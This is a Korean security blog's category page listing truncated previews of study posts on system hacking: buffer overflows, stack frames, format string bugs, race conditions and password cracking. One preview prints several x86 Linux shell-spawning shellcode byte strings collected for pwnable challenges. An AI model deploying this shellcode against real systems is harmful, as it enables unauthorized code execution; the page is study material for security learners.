시스템 보안/시스템 해킹

반응형
시스템 보안/시스템 해킹

[시스템 해킹] Buffer OverFlow 공격 (BOF, 버퍼 오버플로우)

[시스템 해킹] Buffer OverFlow 공격 (BOF, 버퍼 오버플로우) Buffor Overflow는 길이값 검증을 제대로 하지 않아서 할당된 메모리 공간을 넘어서 다른 메모리까지 덮어쓸 수 있는 취약점이다. 줄여 BOF라고 부른다. Buffer Overflow의 개념 - 버퍼 오버플로우 공격은 데이터 길이에 대한 불명확한 정의를 악용해서 덮어쓸 때 발생 - 버퍼 오버 플로우의 종류 : 1) Stack Buffer Overflow : 스택 구조 상 할당된 버퍼들이 정의된 버퍼의 한계치를 넘는 경우 복귀 주소를 변경하여 공격자가 임의의 코드를 수행하도록 하는 공격 2) Heap Buffer Overflow : 힙 구조 상, 최초 정의된 힙 메모리 사이즈를 초과하는 문자열들이 힙 버퍼에 할당될 때, ..

시스템 보안/시스템 해킹

[시스템 해킹] 스택 프레임(Stack Frame)

스택 프레임(Stack Frame) 스택 프레임(Stack Frame)은 함수가 호출될 때, 그 함수만의 스택 영역을 구분하기 위해 생성되는 공간이다. 스택 프레임에는 함수와 관련된 지역변수, 매개변수가 저장되고, 함수 호출 시 할당되고, 함수 종료 시 소멸된다. 스택프레임에 대해서 이해하기 위해서, caller와 callee를 알아야 하는데, caller는 호출한 함수이고, callee는 호출을 받은 함수이다. 예시로 코드를 하나 작성했는데, 여기서 main이 caller이고, func이 callee이다. #include void func(int a, int b){ int arg1 = a; int arg2 = b; printf("arg1:%d, arg2:%d\n",arg1, arg2); printf("..

시스템 보안/시스템 해킹

[시스템 해킹] 메모리 구조, 레지스터 종류

[시스템 해킹] 메모리 구조, 레지스터 종류 Buffer Overflow 공격을 알기전에 알아야할 내용입니다. 메모리 구조, CPU 레지스터 종류에 대한 내용입니다. 해당 내용은 달고나님의 문서를 참고해서 작성했습니다. 메모리 구조 1. 커널(운영체제에 필요한 기본 명령어 집합이 있음.)을 메모리에 적재 → 가용 메모리 영역(32bit : 0~2^32-1, 64bit : 0~2^64-1)을 확인 2. 하나의 프로세스 = 하나의 프로그램이 실행되기 위한 메모리 구조. - 하나의 프로세스를 실행시키면 👉 segment라는 단위로 묶어 가용 메모리 영역에 저장. - 하나의 segment 구조 : stack - data - code - 최대 segment 개수 : 16,383개 - 최대 segment 크기 : ..

시스템 보안/시스템 해킹

[시스템 해킹] 쉘코드 모음

[시스템 해킹] 쉘코드 모음 pwnable 풀때 쉘코드가 필요한 경우가 많아서 구글링을 통해서 모은 쉘코드들이다. 1. 24bytes \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 2. 25bytes \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 3. 26bytes \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x8..

시스템 보안/시스템 해킹

[시스템 해킹] Format String Bug (FSB, 포맷 스트링 공격)

[시스템 해킹] Format String Bug (FSB, 포맷 스트링 공격) ※ 공부 목적으로 작성했습니다. 악용하지 마세요 포맷 스트링 공격은 '데이터의 형태에 대한 불명확한 정의'로 인해 발생한다. 버퍼 오버플로우 공격처럼 RET 값을 변조하여 임의의 코드 실행을 가능하도록 한다. * 참고 : 버퍼 오버플로우는 데이터 길이에 대한 불명확한 정의에 의해 발생 포맷 스트링은 C언어에서 입출력 함수의 포맷 문자열 처리하는 부분이다. 파라미터 설명 %d 정수형 10진수 상수 (integer) %f 실수형 상수 (float) %lf 실수형 상수 (double) %s 문자 스트링 ((const) (unsigned) char *) %u 양의 정수 (10진수) %o 양의 정수 (8진수) %x 양의 정수 (16진수..

시스템 보안/시스템 해킹

main 함수 인자

main 함수 인자 1. 인자 없을 때 main() ; 인자없음 2. 인자 있을 때 : argc, argv 1) argc : 인자 개수 2) argv : 실제 인자 문자열 argv[0] : 파일명을 포함한 실행경로 argv[1] : 인자1 argv[2] : 인자2 ※ argv들의 구분자는 공백 #include int main(int argc, char *argv[]){ printf("argc=%d\n", argc); for(int i=0;i

시스템 보안/시스템 해킹

[시스템 해킹] 레이스 컨디션(Race Condition)

[시스템 해킹] 레이스 컨디션(Race Condition) ※ 공부 목적으로 작성했습니다. 악용하지 마세요 우선, 레이스 컨디션(Race Condition) 공격은 프로세스 간 경쟁상태에 있을 때 불법적으로 관리자 권한을 획득하는 공격이다. 즉, 두 개의 프로세스/쓰레드가 하나의 자원을 접근하려고 할 때 경쟁하는 상태로 이때를 노려 공격자가 정상적인 관리자 권한을 가진 사용자의 권한을 탈취하여 관리자 권한을 얻을 수 있다. 운영체제를 배울 때 많이 접했던 부분인데 시스템 해킹을 공부하면서 나오면서 완전히 새로운 개념인 줄 알았는데 아니었다.. 1. Race Condition 경쟁상태 여러 프로세스 실행 시 하나의 자원에 접근하려고 라는 상태로 어떤 순서로 데이터에 접근하느냐에 따라서 결과가 달라질 수 있..

시스템 보안/시스템 해킹

[시스템 해킹] 패스워드 크래킹

[시스템 해킹] 패스워드 크래킹 ※ 공부 목적으로 작성했습니다. 악용하지 마세요! 1. 패스워드 크래킹의 종류 사회공학 기법 (Social Engineering) : 사람들을 속여 정상적인 보안 절차를 우회한다. 사전 대입 공격 (dictionary attack) : 패스워드로 사용할 만한 사전 파일을 미리 만들어 놓고 하나씩 대입하여 패스워드 일치 여부를 확인 무차별 대입 공격 (brute-force attack) : 가능한 모든 경우의 수를 모두 대입 레인보우 테이블 공격 (rainbow table attack) : 패스워드와 해시로 이루어진 체인을 무수히 만들어 테이블에 저장한 다음, 암화화 값을 데이블에서 찾는 방법. [전수 공격] 조합 가능한 경우의 수 모두를 시도하는 것 암호화된 zip 파일을..

반응형
제나나
'시스템 보안/시스템 해킹' 카테고리의 글 목록